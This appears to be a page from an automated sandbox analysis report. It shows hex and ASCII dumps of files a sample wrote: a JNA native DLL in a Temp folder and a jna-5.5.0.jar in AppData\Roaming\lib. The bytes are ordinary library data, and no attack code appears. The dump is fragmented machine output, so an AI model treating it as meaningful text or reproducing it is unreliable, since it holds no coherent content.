74 68 6f 64 20 66 6f 
72 20 63 6c 61 73 73 
20 63 6f 6d 2e 73 75 
6e 2e 6a 6e 61 2e 53 
74 72 75 63 74 75 72 
65 00 00 6a 61 76 61 
2f 6c 61 6e 67 2f 55 
6e 73 

ve....com/sun/jna/Structure
...
java/lang/UnsatisfiedLinkE
rror..newInstance.Can't 
obtain getTypeInfo method 
for class com.
sun.jna.Structure.java/lang
/Un
satisfiedLinkError..Can't 
obtain static newInstance 
method for class 
com.sun.jna.Structure
..java/lang/Uns

success or wait 1 6DD59FBC WriteFile
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unknown 1024 6b 52 65 66 65 72 65 
6e 63 65 2e 41 74 74 
61 63 68 4f 70 74 69 
6f 6e 73 00 00 6a 61 
76 61 2f 6c 61 6e 67 
2f 55 6e 73 61 74 69 
73 66 69 65 64 4c 69 
6e 6b 45 72 72 6f 72 
00 00 63 6f 6d 2f 73 
75 6e 2f 6a 6e 61 2f 
43 61 6c 6c 62 61 63 
6b 52 65 66 65 72 65 
6e 63 65 00 00 00 43 
61 6e 27 74 20 6f 62 
74 61 69 6e 20 63 6c 
61 73 73 20 63 6f 6d 
2e 73 75 6e 2e 6a 6e 
61 2e 43 61 6c 6c 62 
61 63 6b 52 65 66 65 
72 65 6e 63 65 00 00 
00 00 6a 61 76 61 2f 
6c 61 6e 67 2f 55 6e 
73 61 74 69 73 66 69 
65 64 4c 69 6e 6b 45 
72 72 6f 72 00 00 67 
65 74 43 61 6c 6c 62 
61 63 6b 00 28 4c 6a 
61 76 61 2f 6c 61 6e 
67 2f 43 6c 61 73 73 
3b 4c 63 6f 6d 2f 73 
75 6e 2f 6a 6e 61 2f 
50 6f 69 6e 74 65 72 
3b 5a 29 4c 63 6f 6d 
2f 73 75 6e 2f 6a 6e 
61 2f 43 61 6c 6c 62 
61 63 6b 3b 00 43 61 
6e 27 74 

kReference.AttachOptions.
.java
/lang/UnsatisfiedLinkError..
co
m/sun/jna/CallbackReferen
ce...Can't obtain class 
com.sun.jna
.CallbackReference....java/
lan
g/UnsatisfiedLinkError..get
Callback.
(Ljava/lang/Class;Lcom/s
un/jna/Pointer;Z)Lcom/sun/
jna/Callback;.Can't
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unknown 1024 76 61 2f 6c 61 6e 67 
2f 55 6e 73 61 74 69 
73 66 69 65 64 4c 69 
6e 6b 45 72 72 6f 72 
00 00 63 6f 6d 2f 73 
75 6e 2f 6a 6e 61 2f 
4e 61 74 69 76 65 4d 
61 70 70 65 64 00 00 
00 00 43 61 6e 27 74 
20 6f 62 74 61 69 6e 
20 63 6c 61 73 73 20 
63 6f 6d 2e 73 75 6e 
2e 6a 6e 61 2e 4e 61 
74 69 76 65 4d 61 70 
70 65 64 00 6a 61 76 
61 2f 6c 61 6e 67 2f 
55 6e 73 61 74 69 73 
66 69 65 64 4c 69 6e 
6b 45 72 72 6f 72 00 
00 28 29 4c 6a 61 76 
61 2f 6c 61 6e 67 2f 4f 
62 6a 65 63 74 3b 00 
00 00 00 74 6f 4e 61 
74 69 76 65 00 00 00 
00 43 61 6e 27 74 20 
6f 62 74 61 69 6e 20 
74 6f 4e 61 74 69 76 
65 20 6d 65 74 68 6f 
64 20 66 6f 72 20 63 
6c 61 73 73 20 63 6f 
6d 2e 73 75 6e 2e 6a 
6e 61 2e 4e 61 74 69 
76 65 4d 61 70 70 65 
64 00 6a 61 76 61 2f 
6c 61 6e 67 2f 55 6e 
73 61 74 69 73 66 69 
65 64 

va/lang/UnsatisfiedLinkErr
or..
com/sun/jna/NativeMappe
d....Can't obtain class 
com.sun.jna.N
ativeMapped.java/lang/Un
satisfiedLinkError..
()Ljava/lang/Obj
ect;....toNative....Can't obta
in toNative method for 
class c
om.sun.jna.NativeMapped.
java/lang/Unsatisfied

success or wait 1 6DD59FBC WriteFile
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unknown 1024 72 72 6f 72 00 00 28 
4a 4a 4a 29 56 00 00 
69 6e 76 6f 6b 65 00 
00 63 6f 6d 2f 73 75 
6e 2f 6a 6e 61 2f 46 
72 6f 6d 4e 61 74 69 
76 65 43 6f 6e 76 65 
72 74 65 72 00 43 61 
6e 27 74 20 6f 62 74 
61 69 6e 20 63 6c 61 
73 73 20 63 6f 6d 2e 
73 75 6e 2e 6a 6e 61 
2e 46 72 6f 6d 4e 61 
74 69 76 65 43 6f 6e 
76 65 72 74 65 72 00 
00 43 61 6e 27 74 20 
6f 62 74 61 69 6e 20 
69 6e 76 6f 6b 65 20 
6d 65 74 68 6f 64 20 
66 72 6f 6d 20 63 6c 
61 73 73 20 63 6f 6d 
2e 73 75 6e 2e 6a 6e 
61 2e 4e 61 74 69 76 
65 24 66 66 69 5f 63 
61 6c 6c 62 61 63 6b 
00 00 00 6a 61 76 61 
2f 6c 61 6e 67 2f 55 
6e 73 61 74 69 73 66 
69 65 64 4c 69 6e 6b 
45 72 72 6f 72 00 00 
6a 61 76 61 2f 6c 61 
6e 67 2f 55 6e 73 61 
74 69 73 66 69 65 64 
4c 69 6e 6b 45 72 72 
6f 72 00 00 28 29 4c 
6a 61 76 61 2f 6c 61 
6e 67 2f 

rror..
(JJJ)V..invoke..com/sun/
jna/FromNativeConverter.
Can't obtain class 
com.sun.jna.FromN
ativeConverter..Can't 
obtain invoke method from 
class com.su
n.jna.Native$ffi_callback...j
a
va/lang/UnsatisfiedLinkErr
or..
java/lang/UnsatisfiedLinkE
rror..()Ljava/lang/

success or wait 1 6DD59FBC WriteFile
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unknown 1024 61 63 65 20 69 6e 66 
6f 00 00 6a 61 76 61 
2f 6c 61 6e 67 2f 45 
72 72 6f 72 00 43 61 
6e 27 74 20 67 65 74 
20 48 57 4e 44 00 00 
6a 61 76 61 2f 6c 61 
6e 67 2f 49 6c 6c 65 
67 61 6c 53 74 61 74 
65 45 78 63 65 70 74 
69 6f 6e 00 43 61 6e 
27 74 20 67 65 74 20 
77 33 32 20 70 6c 61 
74 66 6f 72 6d 20 69 
6e 66 6f 00 6a 61 76 
61 2f 6c 61 6e 67 2f 
45 72 72 6f 72 00 4e 
6f 6e 2d 64 69 72 65 
63 74 20 42 75 66 66 
65 72 20 69 73 20 6e 
6f 74 20 73 75 70 70 
6f 72 74 65 64 00 00 
6a 61 76 61 2f 6c 61 
6e 67 2f 49 6c 6c 65 
67 61 6c 41 72 67 75 
6d 65 6e 74 45 78 63 
65 70 74 69 6f 6e 00 
00 75 74 66 38 00 00 
00 00 36 2e 31 2e 30 
00 00 00 75 74 66 38 
00 00 00 00 31 34 37 
61 39 39 38 66 30 63 
62 63 38 39 36 38 31 
61 31 61 65 36 63 30 
64 64 31 32 31 36 32 
39 00 00 00 00 4a 4e 
41 3a 20 

ace 
info..java/lang/Error.Can't 
get 
HWND..java/lang/IllegalS
tateException.Can't get 
w32 platform 
info.java/lang/Error.Non-
direct Buffer is not support
ed..java/lang/IllegalArgum
entE
xception..utf8....6.1.0...utf8
....147a998f0cbc89681a1a
e6c0dd121629....JNA: 

success or wait 1 6DD59FBC WriteFile
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unknown 1024 00 00 6a 61 76 61 2f 
6c 61 6e 67 2f 49 6c 
6c 65 67 61 6c 41 72 
67 75 6d 65 6e 74 45 
78 63 65 70 74 69 6f 
6e 00 00 49 6e 76 61 
6c 69 64 20 63 61 6c 
6c 69 6e 67 20 63 6f 
6e 76 65 6e 74 69 6f 
6e 20 25 64 00 00 00 
6a 61 76 61 2f 6c 61 
6e 67 2f 49 6c 6c 65 
67 61 6c 41 72 67 75 
6d 65 6e 74 45 78 63 
65 70 74 69 6f 6e 00 
00 6a 61 76 61 2f 6c 
61 6e 67 2f 49 6c 6c 
65 67 61 6c 41 72 67 
75 6d 65 6e 74 45 78 
63 65 70 74 69 6f 6e 
00 00 55 6e 73 75 70 
70 6f 72 74 65 64 20 
63 61 6c 6c 62 61 63 
6b 20 72 65 74 75 72 
6e 20 74 79 70 65 00 
00 00 00 6a 61 76 61 
2f 6c 61 6e 67 2f 49 
6c 6c 65 67 61 6c 41 
72 67 75 6d 65 6e 74 
45 78 63 65 70 74 69 
6f 6e 00 00 45 72 72 
6f 72 20 69 6e 20 63 
61 6c 6c 62 61 63 6b 
20 72 65 74 75 72 6e 
20 74 79 70 65 00 00 
00 63 61 6c 6c 62 61 
63 6b 20 

..java/lang/IllegalArgument
Exception..Invalid calling 
convention 
%d...java/lang/IllegalArg
umentException..java/lang/
Ille
galArgumentException..Un
supported callback return 
type....ja
va/lang/IllegalArgumentEx
ception..Error in callback 
return type...callback 
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unknown 1024 00 00 32 00 09 00 01 
00 46 00 75 00 6c 00 
6c 00 20 00 56 00 65 
00 72 00 73 00 69 00 
6f 00 6e 00 00 00 36 
00 2e 00 31 00 2e 00 
30 00 20 00 62 00 30 
00 00 00 00 00 38 00 
0c 00 01 00 49 00 6e 
00 74 00 65 00 72 00 
6e 00 61 00 6c 00 4e 
00 61 00 6d 00 65 00 
00 00 6a 00 6e 00 69 
00 64 00 69 00 73 00 
70 00 61 00 74 00 63 
00 68 00 00 00 6a 00 
23 00 01 00 4c 00 65 
00 67 00 61 00 6c 00 
43 00 6f 00 70 00 79 
00 72 00 69 00 67 00 
68 00 74 00 00 00 43 
00 6f 00 70 00 79 00 
72 00 69 00 67 00 68 
00 74 00 20 00 a9 00 
20 00 32 00 30 00 30 
00 38 00 2d 00 32 00 
30 00 31 00 38 00 20 
00 54 00 69 00 6d 00 
6f 00 74 00 68 00 79 
00 20 00 57 00 61 00 
6c 00 6c 00 00 00 00 
00 48 00 10 00 01 00 
4f 00 72 00 69 00 67 
00 69 00 6e 00 61 00 
6c 00 46 00 69 00 6c 
00 65 00 6e 00 61 00 
6d 00 65 

..2.....F.u.l.l. .V.e.r.s.i.o.
n...6...1...0. .b.0.....8.....
I.n.t.e.r.n.a.l.N.a.m.e...j.n.
i.d.i.s.p.a.t.c.h...j.#...L.e.
g.a.l.C.o.p.y.r.i.g.h.t...C.o.
p.y.r.i.g.h.t. ... .2.0.0.8.-.
2.0.1.8. .T.i.m.o.t.h.y. .W.a.
l.l.....H.....O.r.i.g.i.n.a.l.
F.i.l.e.n.a.m.e

success or wait 1 6DD59FBC WriteFile
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unknown 1024 33 3d 48 3d 68 3d 6d 
3d 83 3d 88 3d 8e 3d 
a5 3d ab 3d b3 3d b8 
3d ce 3d d3 3d d9 3d 
f0 3d f6 3d fe 3d 03 3e 
19 3e 1e 3e 24 3e 3b 
3e 41 3e 49 3e 4e 3e 
64 3e 69 3e 6f 3e 86 
3e 8c 3e 94 3e 99 3e 
af 3e c2 3e c8 3e d1 
3e e6 3e fd 3e 03 3f 
18 3f 38 3f 3d 3f 53 3f 
66 3f 6c 3f 75 3f 8a 3f 
a1 3f a7 3f bc 3f dc 3f 
e1 3f f7 3f fc 3f 00 00 
00 20 00 00 74 01 00 
00 02 30 19 30 1f 30 
27 30 47 30 4c 30 62 
30 75 30 7b 30 84 30 
98 30 af 30 b5 30 ca 
30 ea 30 ef 30 05 31 
0a 31 10 31 27 31 2d 
31 36 31 56 31 5b 31 
71 31 84 31 8a 31 93 
31 a8 31 bf 31 c5 31 
d9 31 f9 31 fe 31 14 
32 19 32 1e 32 35 32 
3b 32 44 32 64 32 69 
32 7f 32 84 32 8a 32 
a1 32 a7 32 af 32 cf 
32 d4 32 ea 32 fd 32 
03 33 0c 33 20 33 37 
33 3d 33 52 33 72 33 
77 33 8d 33 a0 33 a6 
33 af 33 c3 33 da 33 
e0 33 f5 33 15 

3=H=h=m=.=.=.=.=.=.=.=.=
.=.=.=
.=.=.>.>.>$>;>A>I>N>d>i>
o>.>.>.>.>.>.>.>.>.>.>.?.?
8?=?S?f?l?
u?.?.?.?.?.?.?.?.?... ..t....0
.0.0'0G0L0b0u0{0.0.0.0.0.0
.0.0.1.1.1'1-
161V1[1q1.1.1.1.1.1.1
.1.1.1.2.2.252;2D2d2i2.2.2
.2.2.2.2.2.2.2.2.3.3 
373=3R3r3w3.3
.3.3.3.3.3.3.3.

success or wait 1 6DD59FBC WriteFile
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unknown 140 66 3a 6d 3a 72 3a 7c 
3a 83 3a 8a 3a 91 3a 
98 3a 9f 3a a6 3a ad 
3a bd 3a c3 3a fc 3a 
04 3b 08 3b 0c 3b 10 
3b 14 3b 18 3b 1c 3b 
20 3b 24 3b 28 3b 2c 
3b 90 3b 97 3b 9c 3b 
bc 3b c0 3b ea 3b 09 
3c 31 3c 53 3c 9c 3c 
be 3c 06 3d 28 3d 73 
3d 95 3d e0 3d 02 3e 
49 3e 6b 3e 94 3e b6 
3e dc 3e ff 3e 24 3f 78 
3f b5 3f f6 3f 00 00 00 
60 00 00 cc 00 00 00 
18 30 5a 30 7a 30 ab 
30 f6 30 fd 30 6d 31 
74 31 a0 31 a6 31 d1 
31 d8 31 28 32 

f:m:r:|:.:.:.:.:.:.:.:.:.:.:.;
.;.;.;.;.;.; ;$;(;,;.;.;.;.;.;.;.
<1<S<.<.<.=
(=s=.=.=.>I>k>.>.>.>.>$?
x?.?.?...`.......0Z0z0
.0.0.0m1t1.1.1.1.1(2

success or wait 1 6DD59FBC WriteFile
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unknown 1024 2f 32 6b 32 72 32 ae 
32 b5 32 f1 32 f8 32 2f 
33 36 33 54 33 58 33 
5c 33 60 33 64 33 68 
33 6c 33 70 33 74 33 
78 33 7c 33 80 33 84 
33 e5 33 33 34 5c 34 
86 34 b0 34 d9 34 00 
35 27 35 4d 35 8a 35 
c2 35 e2 35 fb 35 1b 
36 38 36 58 36 84 36 
ba 36 c0 36 e6 36 eb 
36 fd 36 64 37 69 37 
60 38 66 38 9c 38 bb 
38 c0 38 14 39 1b 39 
56 39 5d 39 80 39 d9 
39 e0 39 25 3a 2b 3a 
8a 3a bb 3a 22 3b 29 
3b 92 3b b4 3b ea 3b 
19 3c 20 3c 46 3c 4b 
3c 5d 3c 7a 3c f9 3c 
18 3d 1d 3d a8 3d af 
3d 36 3e 9d 3e bf 3e 
c6 3e 47 3f 85 3f 00 
00 00 70 00 00 a0 00 
00 00 04 30 09 30 90 
30 a7 30 26 31 2b 31 
b8 31 38 32 3d 32 dd 
32 04 33 2c 33 4d 33 
be 33 e5 33 0d 34 2e 
34 a1 34 c8 34 f0 34 
11 35 84 35 ab 35 d3 
35 f4 35 68 36 8f 36 
b7 36 d8 36 4c 37 73 
37 9b 37 bc 37 30 38 
57 38 7f 38 a0 38 7a 
39 a3 

/2k2r2.2.2.2.2/363T3X3\3`
3d3h3
l3p3t3x3|3.3.3.334\4.4.4.4.
5'5
M5.5.5.5.5.686X6.6.6.6.6.
6.6d7
i7`8f8.8.8.8.9.9V9]9.9.9.9
%:+:.:.:";);.;.;.;.< <F<K<]
<z<.<.=
.=.=.=6>.>.>.>G?.?...p.......
0
.0.0.0&1+1.182=2.2.3,3M3
.3.3.4
.4.4.4.4.5.5.5.5.5h6.6.6.6L
7s7.7.708W8.8.8z9.
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unknown 1024 4e 35 62 35 79 35 7f 
35 94 35 b8 35 bd 35 
c3 35 db 35 f2 35 f8 
35 01 36 16 36 2d 36 
33 36 48 36 68 36 72 
36 85 36 8b 36 98 36 
ad 36 c4 36 ca 36 de 
36 02 37 07 37 0d 37 
26 37 3d 37 43 37 4c 
37 60 37 77 37 7d 37 
92 37 b2 37 bc 37 cf 
37 d5 37 e2 37 f7 37 
0e 38 14 38 29 38 4d 
38 52 38 57 38 70 38 
87 38 8d 38 96 38 ab 
38 c2 38 c8 38 dc 38 
fc 38 06 39 19 39 1f 
39 2c 39 40 39 57 39 
5d 39 72 39 96 39 9b 
39 a1 39 b9 39 d0 39 
d6 39 df 39 f4 39 0b 
3a 11 3a 26 3a 46 3a 
50 3a 55 3a 5a 3a 71 
3a 77 3a 80 3a a0 3a 
aa 3a af 3a b4 3a cb 
3a d1 3a da 3a fa 3a 
04 3b 09 3b 0e 3b 25 
3b 2b 3b 34 3b 54 3b 
5e 3b 63 3b 68 3b 7f 
3b 85 3b 8e 3b ae 3b 
b8 3b bd 3b c2 3b d9 
3b df 3b e8 3b 08 3c 
12 3c 17 3c 1c 3c 33 
3c 39 3c 42 3c 62 3c 
6c 3c 71 3c 76 3c 8d 
3c 93 3c 9c 3c bc 3c 
c6 3c cb 

N5b5y5.5.5.5.5.5.5.5.5.6.6
-636
H6h6r6.6.6.6.6.6.6.6.7.7.7
&7=7
C7L7`7w7}7.7.7.7.7.7.7.7.8
.8)8
M8R8W8p8.8.8.8.8.8.8.8.8
.9.9.9
,9@9W9]9r9.9.9.9.9.9.9.9.
9.:.:
&:F:P:U:Z:q:w:.:.:.:.:.:.:.:.:
.:.;.;.;%;+;4;T;^;c;h;.;.;.;.;
.;.;.;.;.;.;.<.<.<.
<3<9<B<b<l<q<v<.<.<.<.<.
<.
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unknown 1024 00 00 02 30 12 30 22 
30 32 30 42 30 52 30 
62 30 07 32 49 32 52 
32 a8 32 d9 32 65 33 
87 33 a7 33 c7 33 cc 
33 19 34 1e 34 c7 34 
0a 35 19 36 20 36 08 
38 e0 38 3a 39 41 39 
d2 39 f8 3a 67 3b 69 
3c e0 3c e4 3c e8 3c 
ec 3c f0 3c f4 3c f8 3c 
fc 3c 00 3d 04 3d 20 
3d 24 3d 28 3d 2c 3d 
30 3d 34 3d 38 3d 3c 
3d 40 3d 44 3d 48 3d 
4c 3d 75 3d 7c 3d a4 
3d a9 3d bf 3d 18 3e 
1d 3e 3c 3e 43 3e 58 
3e 5d 3e e2 3e 52 3f 
57 3f 5d 3f 6c 3f 73 3f 
7d 3f 84 3f a1 3f a8 3f 
ea 3f 00 00 00 f0 00 
00 dc 00 00 00 3c 30 
4d 30 60 30 b2 30 e0 
30 0f 31 14 31 1f 31 7f 
31 7c 32 ab 32 b1 32 
bc 32 49 33 5c 33 74 
33 8d 33 9f 33 a5 33 
b3 33 f1 33 fa 33 10 
34 1c 34 55 34 61 34 
80 34 8c 34 98 34 ac 
34 b2 34 be 34 eb 34 
f4 34 fe 34 3c 35 44 
35 4d 35 52 35 5b 35 
6a 35 6f 35 a1 35 b2 
35 bc 35 fe 35 10 

...0.0"020B0R0b0.2I2R2.2.
2e3.3.3.3.3.4.4.4.5.6 
6.8.8:9A9.9.:g;i<.<.<.<.<.<.
<.<.<.=.= =$=(=,=0=4=8=
<=@=D=H=L=u=|=.=.=.=.>
.><>C>X>]>.>R?W?]?l?
s?}?.?.?.?.?..........
<0M0`0.0.0.1.1.1.1
|2.2.2.2I3\3t3.3.3.3.3.3.3.4.
4
U4a4.4.4.4.4.4.4.4.4.4<5D
5M5R5[5j5o5.5.5.5.5.
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unknown 1024 35 3c 48 3c c0 3c b8 
3d 4c 3e 80 3e 88 3e 
9a 3e a7 3e c9 3e 34 
3f 47 3f 65 3f 73 3f 00 
00 00 60 01 00 f8 00 
00 00 21 31 58 31 5f 
31 64 31 68 31 6c 31 
70 31 c6 31 0b 32 10 
32 14 32 18 32 1c 32 
7c 34 15 35 21 35 3e 
36 45 36 6b 36 70 36 
9b 36 a0 36 cf 36 e4 
36 fe 36 18 37 26 37 
2c 37 47 37 6f 37 83 
37 9f 37 a9 37 b3 37 
c1 37 dc 37 ed 37 f9 
37 15 38 35 38 43 38 
4a 38 50 38 65 38 78 
38 92 38 ad 38 bb 38 
c7 38 d3 38 e7 38 fd 
38 23 39 4c 39 54 39 
8a 39 b6 39 bb 39 c0 
39 db 39 e8 39 f1 39 
f6 39 fb 39 16 3a 20 
3a 2c 3a 31 3a 36 3a 
51 3a 5b 3a 67 3a 6c 
3a 71 3a 8f 3a 99 3a 
a5 3a aa 3a af 3a d0 
3a e0 3a e8 3a ed 3a 
f8 3a 1b 3b 2d 3b 39 
3b 43 3b 48 3b 5c 3b 
65 3b c2 3b ce 3b 46 
3c 63 3c 6f 3c df 3c 5d 
3d 8a 3d a4 3d b3 3d 
c1 3d cd 3d d9 3d e7 
3d f7 3d 0c 3e 23 3e 
46 

5<H<.<.=L>.>.>.>.>.>4?G?
e?s?..
.`......!1X1_1d1h1l1p1.1.2.
2.2
.2.2|4.5!5>6E6k6p6.6.6.6.6
.6.7
&7,7G7o7.7.7.7.7.7.7.7.7.8
58C8
J8P8e8x8.8.8.8.8.8.8.8#9L
9T9.9.9.9.9.9.9.9.9.9.: 
:,:1:6:Q:[:
g:l:q:.:.:.:.:.:.:.:.:.:.:.;-;
9;C;H;\;e;.;.;F<c<o<.
<]=.=.=.=.=.=.=.=.=.>#>F
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35 27 35 32 35 46 35 
51 35 68 35 98 35 ad 
35 bb 35 c4 35 f9 35 
30 36 66 36 79 36 0b 
37 3f 37 66 37 b1 37 
d5 38 da 38 e0 38 e5 
38 2e 39 51 39 77 39 
99 39 20 3a 27 3a 31 
3a 40 3a 64 3a 98 3a 
c3 3a e5 3a 12 3b 24 
3b 40 3b 64 3b 7f 3b 
8a 3b b4 3b bc 3b d5 
3b e7 3b f3 3b fb 3b 
13 3c 76 3c 98 3c b7 
3c 81 3d b8 3d 37 3e 
64 3e e7 3e 67 3f 9a 
3f af 3f c0 3f 00 00 00 
f0 01 00 88 00 00 00 
46 30 5c 30 9c 30 b8 
30 d7 30 07 31 93 31 
b2 31 eb 31 12 32 1d 
32 2d 32 a4 32 db 32 
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.;&;S;Z;e;s;z;.;.;.;.=.>.>)?
P?
........Y0.0.0.0.1"1@1J1[1`1
u1
.1.1.1.1.1.1.1.1.2.2o2.2.2.4
.5
"5'525F5Q5h5.5.5.5.5.506f
6y6.7?
7f7.7.8.8.8.8.9Q9w9.9 
:':1:@:
d:.:.:.:.;$;@;d;.;.;.;.;.;.;.;.;.
<v<.<.
<.=.=7>d>.>g?.?.?.?..
........F0\0.0.0.0.1.1.1.1.2.2-
2.2.2.2.3.393W

success or wait 1 6DD59FBC WriteFile

File Path Offset Length Value Ascii Completion Count
Source
Address Symbol

Copyright null 2021 Page 497 of 706



C:\Users\user\AppData\Local\Temp\jna-
99048687\jna7235467147341798336.dll

unknown 1024 88 33 8c 33 90 33 94 
33 98 33 9c 33 a0 33 
a4 33 a8 33 ac 33 b0 
33 b4 33 b8 33 bc 33 
c0 33 c4 33 c8 33 cc 
33 d0 33 d4 33 d8 33 
dc 33 e0 33 e4 33 e8 
33 e8 39 ec 39 f0 39 
10 3b 58 3c 60 3c 68 
3c 6c 3c 70 3c 74 3c 
78 3c 7c 3c 80 3c 84 
3c 8c 3c 90 3c 94 3c 
98 3c 9c 3c a0 3c a4 
3c a8 3c b4 3c bc 3c 
c0 3c c4 3c c8 3c cc 
3c 38 3e 3c 3e 40 3e 
44 3e 48 3e 4c 3e 50 
3e 54 3e 58 3e 5c 3e 
60 3e 64 3e 68 3e 6c 
3e 70 3e 74 3e 78 3e 
7c 3e 80 3e 84 3e 00 
70 02 00 c0 00 00 00 
e8 37 ec 37 f0 37 f4 
37 f8 37 fc 37 00 38 
04 38 08 38 0c 38 10 
38 14 38 18 38 1c 38 
20 38 24 38 28 38 2c 
38 30 38 34 38 38 38 
3c 38 40 38 44 38 48 
38 4c 38 50 38 54 38 
58 38 5c 38 60 38 64 
38 68 38 6c 38 70 38 
74 38 78 38 7c 38 80 
38 84 38 88 38 8c 38 
90 38 9c 38 a0 38 a4 
38 a8 38 ac 38 b0 38 
b4 38 b8 
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36 e0 36 e8 36 f0 36 
f8 36 00 37 08 37 10 
37 18 37 20 37 28 37 
30 37 38 37 40 37 48 
37 50 37 58 37 60 37 
68 37 70 37 78 37 80 
37 88 37 90 37 98 37 
a0 37 a8 37 b0 37 b8 
37 c0 37 c8 37 d0 37 
d8 37 e0 37 e8 37 f0 
37 f8 37 00 38 08 38 
10 38 18 38 20 38 28 
38 30 38 38 38 40 38 
48 38 50 38 58 38 60 
38 68 38 70 38 78 38 
80 38 88 38 90 38 98 
38 a0 38 a8 38 b0 38 
b8 38 c0 38 c8 38 d0 
38 d8 38 e0 38 e8 38 
f0 38 f8 38 00 39 08 
39 10 39 18 39 20 39 
28 39 30 39 38 39 40 
39 48 39 50 39 58 39 
60 39 68 39 70 39 78 
39 80 39 88 39 90 39 
98 39 a0 39 a8 39 b0 
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d0 39 d8 39 00 a0 02 
00 10 00 00 00 ba 3d 
be 3d c2 
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C:\Users\user\AppData\Roaming\lib\jna-5.5.0.jar unknown 1024 50 4b 03 04 0a 00 00 
08 00 00 8d 8c 5e 4f 
00 00 00 00 00 00 00 
00 00 00 00 00 09 00 
04 00 4d 45 54 41 2d 
49 4e 46 2f fe ca 00 
00 50 4b 03 04 0a 00 
00 08 08 00 8c 8c 5e 
4f 99 08 bd 4c 09 03 
00 00 de 0b 00 00 14 
00 00 00 4d 45 54 41 
2d 49 4e 46 2f 4d 41 
4e 49 46 45 53 54 2e 
4d 46 ad 95 5f 4f db 
30 14 c5 df 2b f5 3b f8 
b1 93 9a 90 16 a8 80 
aa 0f a5 f4 61 68 65 
68 45 bc 22 d7 b9 80 
99 63 67 76 da 85 7d 
fa 5d a7 69 89 f3 17 
69 7b 02 ec 73 7f 3e 
3e b9 d7 ac a8 e4 cf 
60 12 ef 11 b4 e1 4a 
5e 91 91 1f f4 7b 73 
59 58 99 c7 94 bd 02 
c1 35 dc 1c 05 fe a4 df 
5b 68 a0 09 84 de f5 
bb 2d b8 f0 83 a7 71 
30 f2 36 c1 25 19 7c 
d7 94 09 20 0b a5 63 
a5 69 82 84 2f fd de 
8a 72 e9 2d 04 35 e6 
8a 30 15 f9 66 2b fd 
37 49 fd 3b 14 ec a0 
df fb 1a c5 02 22 90 
49 56 e0 3d f0 44 80 
a3 
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50 4b 03 04 0a 00 00 
08 00 00 8c 8c 5e 4f 
00 00 00 00 00 00 00 
00 00 00 00 00 12 00 
00 00 63 6f 6d 2f 73 
75 6e 2f 6a 6e 61 2f 
77 69 6e 33 32 2f 50 
4b 03 04 0a 00 00 08 
08 00 8b 8c 5e 4f 93 
59 16 ec 6d 00 00 00 
85 00 00 00 26 00 00 
00 63 6f 6d 2f 73 75 
6e 2f 6a 6e 61 2f 41 
6c 74 43 61 6c 6c 69 
6e 67 43 6f 6e 76 65 
6e 74 69 6f 6e 2e 63 
6c 61 73 73 3b f5 6f 
d7 3e 06 06 06 23 06 
76 76 06 56 76 06 36 
46 06 ae e0 fc d2 a2 
e4 54 b7 cc 9c 54 46 
06 49 c7 9c 12 e7 c4 
9c 9c cc bc 74 e7 fc 
bc b2 d4 bc 92 cc fc 
3c bd ac c4 b2 44 46 
06 85 e4 fc 5c fd e2 
d2 3c fd ac bc 44 7d 
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f5 73 
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C:\Users\user\AppData\Roaming\lib\jna-5.5.0.jar unknown 1024 5f a7 cc 01 f2 c8 be 
4d eb 1b 58 2f e7 2e 
05 bd bc 9b 0b 7a cb 
6e 3e b8 c4 f2 25 ac 2f 
b0 3f 53 01 3d 50 5a 
57 91 a3 b5 41 b0 03 
42 34 a6 ed 32 ec 2d 
94 68 2f 52 55 91 f0 
2b 56 e1 17 50 4b 03 
04 0a 00 00 08 08 00 
8b 8c 5e 4f 2a f6 cf 32 
12 02 00 00 4d 04 00 
00 2a 00 00 00 63 6f 
6d 2f 73 75 6e 2f 6a 
6e 61 2f 43 61 6c 6c 
62 61 63 6b 50 61 72 
61 6d 65 74 65 72 43 
6f 6e 74 65 78 74 2e 
63 6c 61 73 73 95 52 
db 6e d3 40 10 3d 1b 
db b9 e1 52 da 26 01 
4a b9 b4 4d 53 db 5c 
2c 21 de 5a 55 82 88 
4a 91 d2 52 a9 55 5e 
78 da 24 8b eb e0 0b 
72 9c aa fc 02 df c2 03 
48 44 48 3c f0 01 7c 
14 62 76 13 a1 90 b8 
08 1e 3c 33 de 39 67 
ce ec cc fe f8 f9 ed 3b 
80 a7 70 ca c8 63 bb 
04 03 75 69 76 a4 69 
14 b0 5b 80 c5 90 0f 
45 7a 1e f7 19 d6 db 
03 7e c1 dd 80 47 9e 
9b 88 37 81 e8 a5 
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C:\Users\user\AppData\Roaming\lib\jna-5.5.0.jar unknown 1024 73 2e 63 6c 61 73 73 
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64 d5 fd 65 c2 24 31 
13 12 92 05 12 6b d0 
69 a2 79 eb 1e a3 d8 
bd 9a f6 d5 cf 25 9a 
a8 31 d1 0f e0 87 32 
de 76 0b 22 55 13 9b 
f4 dd 77 ef 3d f7 dc 5f 
ef fb 8f 2f df 00 b4 d0 
32 30 83 aa 8e 55 03 
06 d6 8a 74 dc 2e a0 
a6 a3 ac c3 d2 31 9f 
58 eb 05 ac 17 70 87 
21 bf b3 bb dd 7d e4 
30 94 bb c7 fc 2d b7 
63 e5 f9 76 d7 8b d4 
26 43 d1 f1 86 92 ab 
38 14 0c d5 73 ee f6 
58 f7 b9 1c da 8e 0a 
3d 39 dc dc a2 90 fc 
80 8b 51 20 19 d8 f3 
44 11 8a bb 47 0c 9a 
e4 23 e2 b0 b2 31 04 
6a 7b d2 53 5b 0c b9 
5a fd 80 a0 9d 60 40 
d0 b9 ae 27 c5 5e 3c 
ea 8b f0 09 ef fb 69 70 
e0 72 ff 80 87 5e a2 4f 
8c 9a 3a f2 22 86 d2 
43 95 24 da 7f a3 bc 
40 92 6e ee 4a 29 c2 
8e cf a3 48 90 ba d1 
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C:\Users\user\AppData\Roaming\lib\jna-5.5.0.jar unknown 1024 ea 53 e9 3a da 56 94 
16 e7 12 57 12 56 1e 
10 b6 2b b4 83 f3 89 
ae 57 e9 06 1c 51 e9 
46 ba 49 a5 9b 49 53 
a9 9f 22 2a 0d c8 46 
27 a6 d4 d9 d3 70 96 
5c 64 48 36 3b 55 2e 
8a 76 29 b4 5b a5 18 
0d ab 14 a7 04 a1 e9 
bd 57 33 cc 8f 96 28 
36 c7 6a cf bb 20 33 
c8 74 e5 20 c7 ca ba 
32 e2 db a9 88 f9 0a 
fc dd c6 ae 1a 92 5a 
36 bf 2c 13 2b a3 a9 
75 9c c1 7c 8d 30 c6 
24 91 49 4a 9e 7a 71 
6d 37 ab 97 b6 78 2a 
ad 19 e7 5a 6e a1 d4 
3e 23 71 c9 1a 8a 97 
